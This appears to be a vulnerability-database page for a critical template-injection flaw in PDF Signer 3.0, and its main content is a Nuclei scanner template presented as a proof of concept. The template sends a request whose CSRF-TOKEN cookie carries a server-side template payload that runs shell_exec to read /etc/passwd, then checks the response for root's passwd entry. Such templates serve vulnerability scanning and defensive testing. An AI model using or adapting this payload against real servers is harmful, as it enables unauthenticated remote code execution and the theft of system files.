pdf-signer-ssti-to-rce: PDF Signer 3.0 - Template Injection

2025-08-01 PDF Signer 3.0 PoC Public

Description

PDF Signer 3.0 is susceptible to a template injection which allows code execution, due to improper cookie handling and an improper CSRF implementation. An attacker can execute code on the server in the context of the web server.

PoC

id: pdf-signer-ssti-to-rce

info:
  name: PDF Signer 3.0 - Template Injection
  author: madrobot
  severity: critical
  description: PDF Signer 3.0 is susceptible to a template injection which allows code execution, due to improper cookie handling and an improper CSRF implementation. An attacker can execute code on the server in the context of the web server.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-1336
  metadata:
    max-request: 1
  tags: ssti,rce,csrf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4b0a00483046022100b762a68215a4ee672c302391ba43544deabbb396ea952e7742f669b194bcb60d022100dc638dbe12e4710921fafa734c1b2703d301a7b3acc7401b25672bec6b9bc75c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml

References

Related Vulnerabilities